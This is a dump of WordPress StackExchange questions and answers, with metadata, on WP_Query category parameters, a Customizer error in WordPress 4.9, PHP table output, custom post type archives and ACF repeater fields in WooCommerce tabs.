According to the codex, to query posts that can belong to any of a collection of categories, we need to do something like this: ``` $query = new WP_Query( array( 'cat' => '2,6,17,38' ) ); ``` <https://codex.wordpress.org/Class_Reference/WP_Query#Category_Parameters> However, I have the following, which works, and I'm not sure why. ``` $args = array( 'cat' => $related_cat_ids, 'posts_per_page' => -1, ); $query = new WP_Query($args); ``` The reason why I'm confused is because $related\_cat\_ids is actually an array, but the example clearly shows a string of numbers, seperated by commas, for the 'cat' value. Is this something I should be concerned about? Will my code all of a sudden stop working in a future WordPress release? It's more convenient for my case to keep using the array, rather than format it into that string. The reason being is that I'm using `get_the_category()` to get the categories dynamically, and then pushing the IDs from that array into my new array.
I understand your confusion but you haven't something to worry about as behinds the scenes Wordpress make all the necessary steps to make it work. For example, take the following code from the `class-wp-query.php` ``` // If querystring 'cat' is an array, implode it. if ( is_array( $q['cat'] ) ) { $q['cat'] = implode( ',', $q['cat'] ); } ``` Is checking to see if is an array and quickly transform the result to a comma-separated string. **Another way will be using the other options like:** ``` category__and An array of category IDs (AND in). category__in An array of category IDs (OR in, no children). category__not_in An array of category IDs (NOT in). ``` **More on this in** [`Category_Parameters`](https://codex.wordpress.org/Class_Reference/WP_Query#Category_Parameters) But again I would hold to use the way you find more comfortable. It perfectly fine to use the `array()` format if you find it more useful besides this is what make **Wordpress** a fun and useful tool to work on.
286,142
<p>I upgraded my dev environment to 4.9, and the customizer chokes on my _underscores-based theme. The customizer works fine on TwentySixteen, so I think there is a problem with my theme.</p> <p>The tell was that the Customizer's Save &amp; Publish button is missing entirely from the UI. Some other strange things happen, like the labels for my settings under the Colors panel are not visible until you click on the color picker.</p> <p>Firefox dev console says </p> <pre><code>TypeError: a.elements[0] is undefined [Learn More] load-scripts.php:6:12121 </code></pre> <p>And when I click [Learn more] it shows</p> <pre><code>&lt;anonymous&gt; http://localhost/test-site/wp-admin/load-scripts.php:6:12121 i http://localhost/test-site/wp-admin/load-scripts.php:2:27444 fireWith http://localhost/test-site/wp-admin/load-scripts.php:2:28213 when/&lt; http://localhost/test-site/wp-admin/load-scripts.php:2:4062 i http://localhost/test-site/wp-admin/load-scripts.php:2:27444 add http://localhost/test-site/wp-admin/load-scripts.php:2:27748 when http://localhost/test-site/wp-admin/load-scripts.php:2:3810 instance http://localhost/test-site/wp-admin/load-scripts.php:2:2847 f http://localhost/test-site/wp-admin/load-scripts.php:2:526 &lt;anonymous&gt; http://localhost/test-site/wp-admin/load-scripts.php:6:12068 i http://localhost/test-site/wp-admin/load-scripts.php:2:27444 fireWith http://localhost/test-site/wp-admin/load-scripts.php:2:28213 ready http://localhost/test-site/wp-admin/load-scripts.php:2:30004 K http://localhost/test-site/wp-admin/load-scripts.php:2:30366 </code></pre> <p>The front end seems to be working fine. Is there guidance for theme developers about the changes in the Customizer that 4.9 has delivered? I don't know what I should be looking for. </p> <p>UPDATE:</p> <p>I tested this theme on my SiteGround account to make sure the problem wasn't something related to my local machine or server instance. The same issue exists on one of my live sites on SiteGround only after I updated it to 4.9, so I believe this is definitely a problem between my theme and the latest version of WP.</p>
[ { "answer_id": 286146, "author": "rg89", "author_id": 13090, "author_profile": "https://wordpress.stackexchange.com/users/13090", "pm_score": 2, "selected": true, "text": "<p>I found the line of code in my theme that is breaking the customizer in 4.9. Behold!</p>\n\n<pre><code>$wp_customize-&gt;remove_setting( 'header_textcolor' );\n</code></pre>\n" }, { "answer_id": 286164, "author": "Weston Ruter", "author_id": 8521, "author_profile": "https://wordpress.stackexchange.com/users/8521", "pm_score": 0, "selected": false, "text": "<p>I can reproduce the same error in 4.8.3 if I try just removing the <code>header_textcolor</code> setting. So I don't see how this is something new introduced in 4.9. The code that is causing the problem can be found in the <a href=\"https://github.com/WordPress/wordpress-develop/blob/4.9.0/src/wp-admin/js/customize-controls.js#L9035-L9038\" rel=\"nofollow noreferrer\">function</a> that runs for initializing the <code>display_header_text</code> control:</p>\n\n<pre><code> // Juggle the two controls that use header_textcolor\n api.control( 'display_header_text', function( control ) {\n var last = '';\n\n control.elements[0].unsync( api( 'header_textcolor' ) );\n</code></pre>\n\n<p>It's true that this code should be hardened a bit to check for the existence of the <code>header_textcolor</code> setting before running, but in the mean time all you need to do is remove the <code>display_header_text</code> control in addition to removing the <code>header_textcolor</code> setting. Like this:</p>\n\n<pre><code>add_action( 'customize_register', function( WP_Customize_Manager $wp_customize ) {\n $wp_customize-&gt;remove_setting( 'header_textcolor' );\n $wp_customize-&gt;remove_control( 'display_header_text' );\n}, 20 );\n</code></pre>\n" } ]
2017/11/16
[ "https://wordpress.stackexchange.com/questions/286142", "https://wordpress.stackexchange.com", "https://wordpress.stackexchange.com/users/13090/" ]
I upgraded my dev environment to 4.9, and the customizer chokes on my \_underscores-based theme. The customizer works fine on TwentySixteen, so I think there is a problem with my theme. The tell was that the Customizer's Save & Publish button is missing entirely from the UI. Some other strange things happen, like the labels for my settings under the Colors panel are not visible until you click on the color picker. Firefox dev console says ``` TypeError: a.elements[0] is undefined [Learn More] load-scripts.php:6:12121 ``` And when I click [Learn more] it shows ``` <anonymous> http://localhost/test-site/wp-admin/load-scripts.php:6:12121 i http://localhost/test-site/wp-admin/load-scripts.php:2:27444 fireWith http://localhost/test-site/wp-admin/load-scripts.php:2:28213 when/< http://localhost/test-site/wp-admin/load-scripts.php:2:4062 i http://localhost/test-site/wp-admin/load-scripts.php:2:27444 add http://localhost/test-site/wp-admin/load-scripts.php:2:27748 when http://localhost/test-site/wp-admin/load-scripts.php:2:3810 instance http://localhost/test-site/wp-admin/load-scripts.php:2:2847 f http://localhost/test-site/wp-admin/load-scripts.php:2:526 <anonymous> http://localhost/test-site/wp-admin/load-scripts.php:6:12068 i http://localhost/test-site/wp-admin/load-scripts.php:2:27444 fireWith http://localhost/test-site/wp-admin/load-scripts.php:2:28213 ready http://localhost/test-site/wp-admin/load-scripts.php:2:30004 K http://localhost/test-site/wp-admin/load-scripts.php:2:30366 ``` The front end seems to be working fine. Is there guidance for theme developers about the changes in the Customizer that 4.9 has delivered? I don't know what I should be looking for. UPDATE: I tested this theme on my SiteGround account to make sure the problem wasn't something related to my local machine or server instance. The same issue exists on one of my live sites on SiteGround only after I updated it to 4.9, so I believe this is definitely a problem between my theme and the latest version of WP.
I found the line of code in my theme that is breaking the customizer in 4.9. Behold! ``` $wp_customize->remove_setting( 'header_textcolor' ); ```
286,193
<p>I am currently despairing on a for me very strange behaviour when echoing php values to html table cells.</p> <p>I simply want to loop through an array and print out the values into a table but only some information is shown under special conditions.</p> <p>Outside of the table the values are shown.</p> <pre><code>&lt;?php foreach ($mpbs_overview_tab4_bookings as $tab4_arr) { echo "&lt;tr&gt;"; $tab4startDate = new DateTime($tab4_arr-&gt;starttime); $tab4endDate = new DateTime($tab4_arr-&gt;endtime); echo '&lt;td&gt;' . $tab4startDate-&gt;format('d.m.Y H:i') .'&lt;/td&gt;'; echo '&lt;td&gt;' . $tab4endDate-&gt;format('d.m.Y') .'&lt;/td&gt;'; echo '&lt;td&gt;' . $tab4_arr-&gt;username .'&lt;/td&gt;'; echo "&lt;/tr&gt;"; } ?&gt; </code></pre> <p>Using this code, <code>$tab4startDate-&gt;format('d.m.Y H:i')</code> is shown, <code>$tab4endDate-&gt;format('d.m.Y')</code> not. Adding <code>H:i</code> to <code>$tab4endDate</code>s format results to the fact, that it is shown again. </p> <p><code>$tab4_arr-&gt;username</code> is also not shown. If I change content to </p> <pre><code>echo "&lt;td&gt;"; echo $tab4startDate-&gt;format('d.m.Y H:i'); echo $tab4_arr-&gt;username; echo "&lt;/td&gt;"; </code></pre> <p>for testing purposes, also the username is visible...</p> <p>Has anybody an idea, what I am doing wrong?</p> <p>This is my array:</p> <pre><code>{"id":"185","starttime":"2017-11-26 00:00:00","endtime":"2017-11-29 00:00:00","username":"lsgit"}, {"id":"186","starttime":"2017-11-26 00:00:00","endtime":"2017-11-29 00:00:00","username":"lsgit"}, {"id":"187","starttime":"2017-11-19 00:00:00","endtime":"2017-11-22 00:00:00","username":"lsgit"}, {"id":"188","starttime":"2017-11-30 00:00:00","endtime":"2017-12-03 00:00:00","username":"lsgit"}, {"id":"189","starttime":"2017-12-05 00:00:00","endtime":"2017-12-08 00:00:00","username":"lsgit"}, {"id":"190","starttime":"2017-12-05 00:00:00","endtime":"2017-12-08 00:00:00","username":"lsgit"}, {"id":"191","starttime":"2017-12-05 00:00:00","endtime":"2017-12-08 00:00:00","username":"lsgit"} </code></pre>
[ { "answer_id": 286194, "author": "Drupalizeme", "author_id": 115005, "author_profile": "https://wordpress.stackexchange.com/users/115005", "pm_score": 0, "selected": false, "text": "<p>You have an error here <code>echo '&lt;td&gt;' . $tab4_arr-&gt;username; .'&lt;/td&gt;';</code></p>\n\n<p>Remove the <strong>;</strong></p>\n" }, { "answer_id": 286203, "author": "Frank P. Walentynowicz", "author_id": 32851, "author_profile": "https://wordpress.stackexchange.com/users/32851", "pm_score": 0, "selected": false, "text": "<p>Elements of <code>$mpbs_overview_tab4_bookings</code> array are json encoded. Your code should be:</p>\n\n<pre><code>&lt;?php\necho '&lt;table&gt;';\nforeach ($mpbs_overview_tab4_bookings as $tab4_arr) {\n $tab4_arr = json_decode($tab4_arr);\n echo '&lt;tr&gt;';\n $tab4startDate = new DateTime($tab4_arr-&gt;starttime);\n $tab4endDate = new DateTime($tab4_arr-&gt;endtime);\n echo '&lt;td&gt;' . $tab4startDate-&gt;format('d.m.Y H:i') .'&lt;/td&gt;';\n echo '&lt;td&gt;' . $tab4endDate-&gt;format('d.m.Y') .'&lt;/td&gt;';\n echo '&lt;td&gt;' . $tab4_arr-&gt;username .'&lt;/td&gt;';\n echo '&lt;/tr&gt;';\n}\necho '&lt;/table&gt;';\n?&gt;\n</code></pre>\n" }, { "answer_id": 286213, "author": "Gardinero", "author_id": 131668, "author_profile": "https://wordpress.stackexchange.com/users/131668", "pm_score": -1, "selected": false, "text": "<p>I'm really embarrassed about that now, but the reason was some javascript, I had working on the page...</p>\n\n<p>Sorry. I did not recognize that!</p>\n\n<p>Thanks a lot for your help.</p>\n" } ]
2017/11/17
[ "https://wordpress.stackexchange.com/questions/286193", "https://wordpress.stackexchange.com", "https://wordpress.stackexchange.com/users/131668/" ]
I am currently despairing on a for me very strange behaviour when echoing php values to html table cells. I simply want to loop through an array and print out the values into a table but only some information is shown under special conditions. Outside of the table the values are shown. ``` <?php foreach ($mpbs_overview_tab4_bookings as $tab4_arr) { echo "<tr>"; $tab4startDate = new DateTime($tab4_arr->starttime); $tab4endDate = new DateTime($tab4_arr->endtime); echo '<td>' . $tab4startDate->format('d.m.Y H:i') .'</td>'; echo '<td>' . $tab4endDate->format('d.m.Y') .'</td>'; echo '<td>' . $tab4_arr->username .'</td>'; echo "</tr>"; } ?> ``` Using this code, `$tab4startDate->format('d.m.Y H:i')` is shown, `$tab4endDate->format('d.m.Y')` not. Adding `H:i` to `$tab4endDate`s format results to the fact, that it is shown again. `$tab4_arr->username` is also not shown. If I change content to ``` echo "<td>"; echo $tab4startDate->format('d.m.Y H:i'); echo $tab4_arr->username; echo "</td>"; ``` for testing purposes, also the username is visible... Has anybody an idea, what I am doing wrong? This is my array: ``` {"id":"185","starttime":"2017-11-26 00:00:00","endtime":"2017-11-29 00:00:00","username":"lsgit"}, {"id":"186","starttime":"2017-11-26 00:00:00","endtime":"2017-11-29 00:00:00","username":"lsgit"}, {"id":"187","starttime":"2017-11-19 00:00:00","endtime":"2017-11-22 00:00:00","username":"lsgit"}, {"id":"188","starttime":"2017-11-30 00:00:00","endtime":"2017-12-03 00:00:00","username":"lsgit"}, {"id":"189","starttime":"2017-12-05 00:00:00","endtime":"2017-12-08 00:00:00","username":"lsgit"}, {"id":"190","starttime":"2017-12-05 00:00:00","endtime":"2017-12-08 00:00:00","username":"lsgit"}, {"id":"191","starttime":"2017-12-05 00:00:00","endtime":"2017-12-08 00:00:00","username":"lsgit"} ```
You have an error here `echo '<td>' . $tab4_arr->username; .'</td>';` Remove the **;**
286,234
<p>In the Header Image panel, there is a description that says:</p> <p><em>Click “Add new image” to upload an image file from your computer. Your theme works best with an image with a header size of 1200 × 280 pixels — you’ll be able to crop your image once you upload it for a perfect fit.</em></p> <p>I'm trying to change this text with this:</p> <pre><code>$wp_customize-&gt;get_control( 'header_image' )-&gt;description = 'New text here'; </code></pre> <p>But its not working. Am I missing something here? </p>
[ { "answer_id": 286263, "author": "Lovin Nagi", "author_id": 102970, "author_profile": "https://wordpress.stackexchange.com/users/102970", "pm_score": 0, "selected": false, "text": "<pre><code>function change_header_image_desc( $translated_text ) {\n if ( $translated_text == 'While you can crop images to your liking after clicking &lt;strong&gt;Add new image&lt;/strong&gt;, your theme recommends a header size of %s pixels.' ) {\n $translated_text = 'New Description here';\n }\n return $translated_text;\n}\nadd_filter( 'gettext', 'change_header_image_desc', 20 );\n</code></pre>\n\n<p>This is case-sensitive so type it exactly as you see it on your WordPress Theme.</p>\n" }, { "answer_id": 286379, "author": "Weston Ruter", "author_id": 8521, "author_profile": "https://wordpress.stackexchange.com/users/8521", "pm_score": 2, "selected": true, "text": "<p>The <code>description</code> param unfortunately is not used in this control. You can see that the message is <a href=\"https://github.com/WordPress/wordpress-develop/blob/4af1237176c326e7840361fd580fdc3f97841e6a/src/wp-includes/customize/class-wp-customize-header-image-control.php#L174\" rel=\"nofollow noreferrer\">hard-coded in the control's template</a>. That should be changed in core, but in the mean time, you can enqueue some JS at the <code>customize_controls_enqueue_scripts</code> action with the dependency of <code>customize-controls</code> which does this:</p>\n\n<pre><code>wp.customize.control( 'header_image', function( control ) {\n control.deferred.embedded.done( function() {\n var el = control.container.find( '.customize-control-description' );\n el.html( control.params.description );\n } );\n} );\n</code></pre>\n\n<p>This JS will continue to work if the control's <code>description</code> param starts to be used in core in a future release.</p>\n" } ]
2017/11/17
[ "https://wordpress.stackexchange.com/questions/286234", "https://wordpress.stackexchange.com", "https://wordpress.stackexchange.com/users/40536/" ]
In the Header Image panel, there is a description that says: *Click “Add new image” to upload an image file from your computer. Your theme works best with an image with a header size of 1200 × 280 pixels — you’ll be able to crop your image once you upload it for a perfect fit.* I'm trying to change this text with this: ``` $wp_customize->get_control( 'header_image' )->description = 'New text here'; ``` But its not working. Am I missing something here?
The `description` param unfortunately is not used in this control. You can see that the message is [hard-coded in the control's template](https://github.com/WordPress/wordpress-develop/blob/4af1237176c326e7840361fd580fdc3f97841e6a/src/wp-includes/customize/class-wp-customize-header-image-control.php#L174). That should be changed in core, but in the mean time, you can enqueue some JS at the `customize_controls_enqueue_scripts` action with the dependency of `customize-controls` which does this: ``` wp.customize.control( 'header_image', function( control ) { control.deferred.embedded.done( function() { var el = control.container.find( '.customize-control-description' ); el.html( control.params.description ); } ); } ); ``` This JS will continue to work if the control's `description` param starts to be used in core in a future release.
286,241
<p>My english is not very good looking.<br> I have several custom post types, 'noticias' (news) 'articulos' (articles), etc. In my functions.php i enqueue scripts and styles by post_id or post_type using a code like this:</p> <pre><code>function mahg_scripts_by_page() { global $post; $page_id = $post-&gt;ID; $post_type = $post-&gt;post_type; // var_dump($post_type); $noti = 'noticia'; // POST-TYPE noticia $arti = 'articulo'; // POST-TYPE articulo $com1 = 4; // that page id $com2 = 6; // that other page id // $etc if i needed $front_commons = array($noti, $arti, $com1, $com2, $etc); if ( is_home() || is_404() || is_single() || in_array($page_id, $front_commons, true) ) { wp_register_style('uikit_css', get_template_directory_uri().'/css/uikit.css', array(), '', 'all' ); wp_enqueue_style('uikit_css'); wp_register_script('uikit_js', get_template_directory_uri().'/js/uikit.min.js','','', true ); wp_enqueue_script('uikit_js'); if (is_home() ) { wp_register_style('slideshow_css', get_template_directory_uri().'/css/components/slideshow.css', array(), '', 'all' ); wp_enqueue_style('slideshow_css'); wp_register_script('slideshow_js', get_template_directory_uri().'/js/components/slideshow.min.js','','', true ); wp_enqueue_script('slideshow_js'); } // more scripts or styles from here } add_action('wp_enqueue_scripts', 'mahg_scripts_by_page' ); </code></pre> <p>I created the <code>archive-noticia.php</code> and <code>archive-articulo.php</code> in my theme folder. But when run the website the browser load the scripts and styles in articulo archive page but in noticia archive page don't. When i do <code>var_dump($post_type);</code> shows <code>'articulo' (length=8)</code> in articulo archive page. But shows <code>null</code> in noticia archive page and the others custom post types.<br> When i did the <code>register_post_type( 'articulo', $args);</code>, has_archive was set true. Same in noticia.</p> <pre><code>$singular = 'Artículo'; $plural = 'Artículos'; $labels = array( 'name' =&gt; $plural, 'singular_name' =&gt; $singular, 'add_new' =&gt; 'Nuevo ' . $singular, 'add_new_item' =&gt; 'Agregar nuevo ' . $singular, 'edit' =&gt; 'Editar', 'edit_item' =&gt; 'Editar ' . $singular, 'new_item' =&gt; 'Nuevo ' . $singular, 'view' =&gt; 'Ver ' . $singular, 'view_item' =&gt; 'Ver ' . $singular, 'search_term' =&gt; 'Buscar ' . $plural, 'parent' =&gt; 'Parent ' . $singular, 'not_found' =&gt; 'No se han encontrado ' . $plural, 'not_found_in_trash' =&gt; 'No hay ' . $plural .' en la papelera' ); $args = array( 'labels' =&gt; $labels, 'public' =&gt; true, 'publicly_queryable' =&gt; true, 'exclude_from_search' =&gt; false, 'show_in_nav_menus' =&gt; false, 'show_ui' =&gt; true, 'show_in_menu' =&gt; true, 'show_in_admin_bar' =&gt; false, 'menu_position' =&gt; 7, 'menu_icon' =&gt; 'dashicons-media-spreadsheet', 'can_export' =&gt; true, 'delete_with_user' =&gt; false, 'hierarchical' =&gt; true, 'has_archive' =&gt; true, 'query_var' =&gt; true, 'capability_type' =&gt; 'post', 'map_meta_cap' =&gt; true, 'rewrite' =&gt; true, 'rewrite' =&gt; array( 'slug' =&gt; 'articulos', 'with_front' =&gt; true, 'pages' =&gt; true, 'feeds' =&gt; false, ), 'supports' =&gt; array('title','editor','thumbnail','excerpt') ); register_post_type( 'articulo', $args); $singular = 'Noticia'; $plural = 'Noticias'; $labels = array( 'name' =&gt; $plural, 'singular_name' =&gt; $singular, 'add_new' =&gt; 'Nueva ' . $singular, 'add_new_item' =&gt; 'Agregar nueva ' . $singular, 'edit' =&gt; 'Editar', 'edit_item' =&gt; 'Editar ' . $singular, 'new_item' =&gt; 'Nueva ' . $singular, 'view' =&gt; 'Ver ' . $singular, 'view_item' =&gt; 'Ver ' . $singular, 'search_term' =&gt; 'Buscar ' . $plural, 'parent' =&gt; 'Parent ' . $singular, 'not_found' =&gt; 'No se han encontrado ' . $plural, 'not_found_in_trash' =&gt; 'No hay ' . $plural .' en la papelera' ); $args = array( 'labels' =&gt; $labels, 'public' =&gt; true, 'exclude_from_search' =&gt; false, 'publicly_queryable' =&gt; true, 'show_ui' =&gt; true, 'show_in_nav_menus' =&gt; false, 'show_in_menu' =&gt; true, 'show_in_admin_bar' =&gt; false, 'menu_position' =&gt; 6, 'menu_icon' =&gt; 'dashicons-media-document', 'capability_type' =&gt; 'post', 'map_meta_cap' =&gt; true, 'hierarchical' =&gt; true, 'supports' =&gt; array('title','editor','thumbnail','excerpt'), 'has_archive' =&gt; true, 'rewrite' =&gt; true, 'rewrite' =&gt; array( 'slug' =&gt; 'noticias', 'with_front' =&gt; true, 'pages' =&gt; true, 'feeds' =&gt; false, ), 'query_var' =&gt; true, 'can_export' =&gt; true, 'delete_with_user' =&gt; false, ); register_post_type( 'noticia', $args); </code></pre> <p>Why wordpress do that? What im doing wrong? </p>
[ { "answer_id": 286247, "author": "mhuenchul", "author_id": 131691, "author_profile": "https://wordpress.stackexchange.com/users/131691", "pm_score": -1, "selected": false, "text": "<p>Well, i found a solution in order to load scripts and styles in custom post types archive page, using <code>is_post_type_archive()</code></p>\n\n<pre><code>$front_common = array($com1, $com2, $etc);\nif ( is_single() || is_post_type_archive(array('noticia','articulo','acta')) || in_array($page_id, $front_common, true) ) { \n wp_register_style('uikit_css', get_template_directory_uri().'/css/uikit.css', array(), '', 'all' );\n wp_enqueue_style('uikit_css');\n}\n</code></pre>\n\n<p>But this solution don't answer the question. </p>\n" }, { "answer_id": 286257, "author": "Jacob Peattie", "author_id": 39152, "author_profile": "https://wordpress.stackexchange.com/users/39152", "pm_score": 2, "selected": true, "text": "<p>The global <code>$post</code> object represents the current post within <a href=\"https://codex.wordpress.org/The_Loop\" rel=\"nofollow noreferrer\">The Loop</a> and is created by the <code>the_post()</code> function. It enables functions like <code>the_title()</code>, <code>the_content()</code> etc. to show the title and content for the current post without needing to pass IDs or anything.</p>\n\n<p>This is why a post type archive doesn't have a <code>$post</code> object set when you're enqueuing scripts. Why would it? What post would it represent? What would <code>$post-&gt;post_author</code> be for a post type archive? It doesn't make sense to have one because an archive is not a post.</p>\n\n<p>The correct solution is the one you found: The <code>is_post_type_archive()</code> function. Under the hood it checks the main <em>Query</em> to see if it is for the archive for a post type.</p>\n" }, { "answer_id": 339396, "author": "Vincent Guesné", "author_id": 9716, "author_profile": "https://wordpress.stackexchange.com/users/9716", "pm_score": 0, "selected": false, "text": "<p>I 've got similar issue, global $post was null on free theme (astrid) after struggling I disable Yoast SEO and its works.</p>\n\n<p>So I update Yoast SEO and works with.\nBut to be honest I will change Yoast by something else cause Im getting to much trouble with this plugin.</p>\n\n<p>Hope its help :-)</p>\n\n<p>EDIT : After multiple tests, Im not sure the issue comes from Yoast (but I will change it)... if you create you Custom Post Type after enable Yoast, you are getting this issue... disable/enable it and it works ;-)</p>\n" }, { "answer_id": 366065, "author": "P.O.W.", "author_id": 159885, "author_profile": "https://wordpress.stackexchange.com/users/159885", "pm_score": 0, "selected": false, "text": "<p>I had the same problem with a custom post type. \nAs suggested <a href=\"https://stackoverflow.com/a/47363479/2903561\">here</a>, I had to reset permalink settings to %postname%.</p>\n\n<ul>\n<li>Go To WP-Admin / Settings / Permalink</li>\n<li>Select <strong>Post Name</strong> option</li>\n<li>Save</li>\n</ul>\n\n<p>If it is already select <strong>Post Name</strong> save it again, anyway</p>\n" } ]
2017/11/17
[ "https://wordpress.stackexchange.com/questions/286241", "https://wordpress.stackexchange.com", "https://wordpress.stackexchange.com/users/131691/" ]
My english is not very good looking. I have several custom post types, 'noticias' (news) 'articulos' (articles), etc. In my functions.php i enqueue scripts and styles by post\_id or post\_type using a code like this: ``` function mahg_scripts_by_page() { global $post; $page_id = $post->ID; $post_type = $post->post_type; // var_dump($post_type); $noti = 'noticia'; // POST-TYPE noticia $arti = 'articulo'; // POST-TYPE articulo $com1 = 4; // that page id $com2 = 6; // that other page id // $etc if i needed $front_commons = array($noti, $arti, $com1, $com2, $etc); if ( is_home() || is_404() || is_single() || in_array($page_id, $front_commons, true) ) { wp_register_style('uikit_css', get_template_directory_uri().'/css/uikit.css', array(), '', 'all' ); wp_enqueue_style('uikit_css'); wp_register_script('uikit_js', get_template_directory_uri().'/js/uikit.min.js','','', true ); wp_enqueue_script('uikit_js'); if (is_home() ) { wp_register_style('slideshow_css', get_template_directory_uri().'/css/components/slideshow.css', array(), '', 'all' ); wp_enqueue_style('slideshow_css'); wp_register_script('slideshow_js', get_template_directory_uri().'/js/components/slideshow.min.js','','', true ); wp_enqueue_script('slideshow_js'); } // more scripts or styles from here } add_action('wp_enqueue_scripts', 'mahg_scripts_by_page' ); ``` I created the `archive-noticia.php` and `archive-articulo.php` in my theme folder. But when run the website the browser load the scripts and styles in articulo archive page but in noticia archive page don't. When i do `var_dump($post_type);` shows `'articulo' (length=8)` in articulo archive page. But shows `null` in noticia archive page and the others custom post types. When i did the `register_post_type( 'articulo', $args);`, has\_archive was set true. Same in noticia. ``` $singular = 'Artículo'; $plural = 'Artículos'; $labels = array( 'name' => $plural, 'singular_name' => $singular, 'add_new' => 'Nuevo ' . $singular, 'add_new_item' => 'Agregar nuevo ' . $singular, 'edit' => 'Editar', 'edit_item' => 'Editar ' . $singular, 'new_item' => 'Nuevo ' . $singular, 'view' => 'Ver ' . $singular, 'view_item' => 'Ver ' . $singular, 'search_term' => 'Buscar ' . $plural, 'parent' => 'Parent ' . $singular, 'not_found' => 'No se han encontrado ' . $plural, 'not_found_in_trash' => 'No hay ' . $plural .' en la papelera' ); $args = array( 'labels' => $labels, 'public' => true, 'publicly_queryable' => true, 'exclude_from_search' => false, 'show_in_nav_menus' => false, 'show_ui' => true, 'show_in_menu' => true, 'show_in_admin_bar' => false, 'menu_position' => 7, 'menu_icon' => 'dashicons-media-spreadsheet', 'can_export' => true, 'delete_with_user' => false, 'hierarchical' => true, 'has_archive' => true, 'query_var' => true, 'capability_type' => 'post', 'map_meta_cap' => true, 'rewrite' => true, 'rewrite' => array( 'slug' => 'articulos', 'with_front' => true, 'pages' => true, 'feeds' => false, ), 'supports' => array('title','editor','thumbnail','excerpt') ); register_post_type( 'articulo', $args); $singular = 'Noticia'; $plural = 'Noticias'; $labels = array( 'name' => $plural, 'singular_name' => $singular, 'add_new' => 'Nueva ' . $singular, 'add_new_item' => 'Agregar nueva ' . $singular, 'edit' => 'Editar', 'edit_item' => 'Editar ' . $singular, 'new_item' => 'Nueva ' . $singular, 'view' => 'Ver ' . $singular, 'view_item' => 'Ver ' . $singular, 'search_term' => 'Buscar ' . $plural, 'parent' => 'Parent ' . $singular, 'not_found' => 'No se han encontrado ' . $plural, 'not_found_in_trash' => 'No hay ' . $plural .' en la papelera' ); $args = array( 'labels' => $labels, 'public' => true, 'exclude_from_search' => false, 'publicly_queryable' => true, 'show_ui' => true, 'show_in_nav_menus' => false, 'show_in_menu' => true, 'show_in_admin_bar' => false, 'menu_position' => 6, 'menu_icon' => 'dashicons-media-document', 'capability_type' => 'post', 'map_meta_cap' => true, 'hierarchical' => true, 'supports' => array('title','editor','thumbnail','excerpt'), 'has_archive' => true, 'rewrite' => true, 'rewrite' => array( 'slug' => 'noticias', 'with_front' => true, 'pages' => true, 'feeds' => false, ), 'query_var' => true, 'can_export' => true, 'delete_with_user' => false, ); register_post_type( 'noticia', $args); ``` Why wordpress do that? What im doing wrong?
The global `$post` object represents the current post within [The Loop](https://codex.wordpress.org/The_Loop) and is created by the `the_post()` function. It enables functions like `the_title()`, `the_content()` etc. to show the title and content for the current post without needing to pass IDs or anything. This is why a post type archive doesn't have a `$post` object set when you're enqueuing scripts. Why would it? What post would it represent? What would `$post->post_author` be for a post type archive? It doesn't make sense to have one because an archive is not a post. The correct solution is the one you found: The `is_post_type_archive()` function. Under the hood it checks the main *Query* to see if it is for the archive for a post type.
286,262
<p>I am using a Repeater of Advance custom field for the content of the my additional custom WooCommerce Tab. The repeater is inside a group field. I manage to display the custom fields that is outside the repeater field. Now the problem is the field inside my repeater field. The repeater field is not displaying. Here is the code I used in my functions.php</p> <p>// Add a Custom Tab</p> <pre><code>add_filter( 'woocommerce_product_tabs', 'dl_custom_product_designer_tab' ); function dl_custom_product_designer_tab( $tabs ) { // ensure ACF is available if ( !function_exists( 'have_rows' ) ) return; if ( get_field('designer') ) { $tabs[] = array( 'title' =&gt; 'DESIGNER', 'priority' =&gt; 50, 'callback' =&gt; 'dl_custom_designer_tab' ); } return $tabs; } function dl_custom_designer_tab() { $designer = get_field('designer'); echo '&lt;p&gt;'.$designer['designer_image'].'&lt;/p&gt;'; echo '&lt;p&gt;'.$designer['designer_name'].'&lt;/p&gt;'; echo '&lt;p&gt;'.$designer['designer_short_description'].'&lt;/p&gt;'; // loop through the rows of data $achievements = get_field('designer_achievements'); if( $achievements ) { // loop through the rows of data echo '&lt;ul&gt;'; foreach($achievements as $achievement){ // display a sub field value echo '&lt;li&gt;'.$achievement['achievement'].'&lt;/li&gt;'; } echo '&lt;/ul&gt;'; } } </code></pre>
[ { "answer_id": 286247, "author": "mhuenchul", "author_id": 131691, "author_profile": "https://wordpress.stackexchange.com/users/131691", "pm_score": -1, "selected": false, "text": "<p>Well, i found a solution in order to load scripts and styles in custom post types archive page, using <code>is_post_type_archive()</code></p>\n\n<pre><code>$front_common = array($com1, $com2, $etc);\nif ( is_single() || is_post_type_archive(array('noticia','articulo','acta')) || in_array($page_id, $front_common, true) ) { \n wp_register_style('uikit_css', get_template_directory_uri().'/css/uikit.css', array(), '', 'all' );\n wp_enqueue_style('uikit_css');\n}\n</code></pre>\n\n<p>But this solution don't answer the question. </p>\n" }, { "answer_id": 286257, "author": "Jacob Peattie", "author_id": 39152, "author_profile": "https://wordpress.stackexchange.com/users/39152", "pm_score": 2, "selected": true, "text": "<p>The global <code>$post</code> object represents the current post within <a href=\"https://codex.wordpress.org/The_Loop\" rel=\"nofollow noreferrer\">The Loop</a> and is created by the <code>the_post()</code> function. It enables functions like <code>the_title()</code>, <code>the_content()</code> etc. to show the title and content for the current post without needing to pass IDs or anything.</p>\n\n<p>This is why a post type archive doesn't have a <code>$post</code> object set when you're enqueuing scripts. Why would it? What post would it represent? What would <code>$post-&gt;post_author</code> be for a post type archive? It doesn't make sense to have one because an archive is not a post.</p>\n\n<p>The correct solution is the one you found: The <code>is_post_type_archive()</code> function. Under the hood it checks the main <em>Query</em> to see if it is for the archive for a post type.</p>\n" }, { "answer_id": 339396, "author": "Vincent Guesné", "author_id": 9716, "author_profile": "https://wordpress.stackexchange.com/users/9716", "pm_score": 0, "selected": false, "text": "<p>I 've got similar issue, global $post was null on free theme (astrid) after struggling I disable Yoast SEO and its works.</p>\n\n<p>So I update Yoast SEO and works with.\nBut to be honest I will change Yoast by something else cause Im getting to much trouble with this plugin.</p>\n\n<p>Hope its help :-)</p>\n\n<p>EDIT : After multiple tests, Im not sure the issue comes from Yoast (but I will change it)... if you create you Custom Post Type after enable Yoast, you are getting this issue... disable/enable it and it works ;-)</p>\n" }, { "answer_id": 366065, "author": "P.O.W.", "author_id": 159885, "author_profile": "https://wordpress.stackexchange.com/users/159885", "pm_score": 0, "selected": false, "text": "<p>I had the same problem with a custom post type. \nAs suggested <a href=\"https://stackoverflow.com/a/47363479/2903561\">here</a>, I had to reset permalink settings to 